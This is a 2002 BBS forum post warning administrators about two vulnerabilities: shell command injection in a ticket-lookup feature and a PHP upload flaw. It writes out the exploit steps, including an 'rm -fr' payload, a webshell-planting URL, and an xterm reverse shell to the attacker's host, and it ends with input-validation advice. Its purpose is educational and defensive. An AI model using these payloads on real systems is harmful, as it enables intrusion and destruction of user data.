荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjk (kernel), 信区: InstallBBS
标  题: BBS系统漏洞两例(转寄)
发信站: 荔园晨风BBS站 (Sun Mar 17 18:48:55 2002), 转信

【 以下文字转载自 jjk 的信箱 】
【 原文由 jjksam@smth.org 所发表 】
发信人: lepton.bbs@ytht.net (0.210526315789473684...), 信区: BBSMan_Dev
标  题: BBS系统漏洞两例(转寄)
发信站: YTHT (Sun Mar 17 18:35:35 2002)
转信站: SMTH!thunews.dhs.org!news.happynet.org!YTHT

发表这篇文章的目的,是提醒各位系统维护,在写BBS代码时候一定要有安全意识.如果一个
普通的Server被人入侵,那么重装了事就好了,而一个BBS,联系着很多人的情感,上面有大量
的私人信息,如果被人入侵的话,实在是一件非常麻烦的事情.如果让用户的私人信息流传,或
者丢失用户的多年积累,总是一件令人内疚的事,虽然,从字面上,BBS服务有不承担此类义务

条款.

先看第一个例子:

某bbs,使用了一个车票查询功能,进入菜单某处,只要输入车次,就会得到这车次的信息.这个
功能的实现很简单,就是书写了一个小程序,用用户输入的参数去调一个网站的cgi,比如用户
输入K31,那么bbs就用system执行lynx http://xxx.xxx.xxx/xxx.cgi?t=k31,然后把输出回
送给用户.
但是,写程序的人忘了进行输入检查,所以,如果有人输入;ls,那么这个程序就会执行ls,如果
输入;vi,那么这个程序就会执行vi.
接下来的就很简单:;vi,然后在里面按esc,输入:sh,就得到了一个bbs的shell了,然后吗,如

希望得到root,找一个local的hole就可以了...

再看第二个例子:

某bbs,提供文件上载功能,文件上载是用php实现的.代码中没有做任何检查,那么,如果我们
上载一个a.php,内容是<?system(rm -fr "/home/bbs");?>,然后GET 一下a.php会怎么样呢?
这个bbs经过提醒后意识到了这个问题,加了一些合法性检查,但是,代码仍然是有问题的,某
天,
因为apache的配置错误,他们的php的源码可以直接从web看到,那么我们就看看这段代码有什

问题:

cat upload2.php
<html>
<head>
<link rel="stylesheet" href="/bbstyle.css">
</head>
<body>
<?
if($attach_size == 0)
  echo "粘贴附件失败!<br>\n";
elseif($attach_size != filesize($attach) || strstr($attach_name, ".php")
|| strchr($attach_name, '/'))
  echo "粘贴附件失败!<br>\n";
else{
  $tmppath = "/home/httpd/htdocs/attach/tmp/";
  $tmpfile = $tmppath.$session;
  if(!is_dir($tmppath))
    mkdir($tmppath, 0755);
  if(!copy($attach, $tmppath.$attach_name))
    echo "粘贴附件失败!<br>\n";
  else{
    $file = fopen($tmpfile, "a");
    if(!$file)
      echo "粘贴附件失败!<br>\n";
    else{
      fputs($file, $attach_name."\n");
      fclose($file);
      echo "粘贴附件成功!<br>\n";
    }
  }
}
?>
<br>继续粘贴附件请点<a href="/upload.php">这里</a>
</body>
</html>

现在读了一遍,发现了什么问题没有?$session这个变量完全没有检查!
在这个bbs改正了apache配置错误,php能正常工作后,我们试试这个.
http://bbs.xxx.xxx.xxx/upload2.php?attach_size=2851&attach=/home/httpd/htdocs/le
ft.html
&session=faint.php&attach_name=<?system($a);?>
说明一下,left.html和attach_size是直接从这个bbs的www页面上随便找的一个文件,为了应

文件大小合法性检查的.
然后继续http://bbs.xxx.xxx.xxx/attach/tmp/faint.php?a=ls
呵呵,看到什么结果了?
那么剩下的也很简单.
可以http://bbs.xxx.xxx.xxx/attach/tmp/faint.php?a=xterm -disaplay myip:0 &
来得到一个交互shell,可以用一些local的hole得到root.

总结:
        任何用户输入都不要先验的相信其合法性,必须做严格的合法性检查,以前面的车票
查询为例,可以检查输入符合不符合字母+数字这种模式.以那个php上载脚本为例,应该检查
$attach是不是形如/tmp/php+n位字母数字,$session是不是符合自己生成的cookie的格式.
--
...

※ 来源:.一塌糊涂 BBS ytht.net.[FROM: 162.105.118.38]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店